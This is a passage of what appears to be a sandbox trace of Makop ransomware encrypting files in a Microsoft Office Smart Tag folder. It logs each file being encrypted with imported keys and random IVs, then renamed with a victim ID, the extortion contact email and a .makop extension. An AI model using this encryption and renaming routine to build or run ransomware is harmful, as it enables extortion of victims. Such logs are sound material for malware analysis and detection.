returned 1 [0094.738] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3580, dwBufLen=0x3580 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3580) returned 1 [0094.738] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.738] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3580, lpOverlapped=0x0) returned 1 [0094.738] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.738] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.738] SetEndOfFile (hFile=0x138) returned 1 [0094.745] GetProcessHeap () returned 0x48a0000 [0094.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.745] GetProcessHeap () returned 0x48a0000 [0094.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0094.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.746] CloseHandle (hObject=0x138) returned 1 [0094.747] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0094.747] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0094.747] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0094.747] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0094.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.749] GetProcessHeap () returned 0x48a0000 [0094.749] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.749] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.749] GetProcessHeap () returned 0x48a0000 [0094.749] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.755] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.755] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.755] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.755] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.755] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e380, lpOverlapped=0x0) returned 1 [0094.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e380, dwBufLen=0x1e380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e380) returned 1 [0094.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e380, lpOverlapped=0x0) returned 1 [0094.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.761] SetEndOfFile (hFile=0xf0) returned 1 [0094.770] GetProcessHeap () returned 0x48a0000 [0094.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.770] GetProcessHeap () returned 0x48a0000 [0094.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.770] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0094.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.772] CloseHandle (hObject=0xf0) returned 1 [0094.772] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0094.772] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0094.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.773] GetProcessHeap () returned 0x48a0000 [0094.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.773] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.774] GetProcessHeap () returned 0x48a0000 [0094.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.782] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17f80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17f80, lpOverlapped=0x0) returned 1 [0094.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17f80, dwBufLen=0x17f80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17f80) returned 1 [0094.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17f80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17f80, lpOverlapped=0x0) returned 1 [0094.787] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.787] SetEndOfFile (hFile=0xf0) returned 1 [0094.795] GetProcessHeap () returned 0x48a0000 [0094.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.795] GetProcessHeap () returned 0x48a0000 [0094.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.795] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0094.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.796] CloseHandle (hObject=0xf0) returned 1 [0094.823] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0094.823] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0094.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.826] GetProcessHeap () returned 0x48a0000 [0094.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.826] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.826] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.826] GetProcessHeap () returned 0x48a0000 [0094.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.826] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.832] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x35380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x35380, lpOverlapped=0x0) returned 1 [0094.836] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35380, dwBufLen=0x35380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35380) returned 1 [0094.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x35380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x35380, lpOverlapped=0x0) returned 1 [0094.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x35454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.841] SetEndOfFile (hFile=0xf0) returned 1 [0094.851] GetProcessHeap () returned 0x48a0000 [0094.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.851] GetProcessHeap () returned 0x48a0000 [0094.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.851] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0094.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.852] CloseHandle (hObject=0xf0) returned 1 [0094.852] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0094.852] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0094.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.853] GetProcessHeap () returned 0x48a0000 [0094.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.853] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.854] GetProcessHeap () returned 0x48a0000 [0094.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 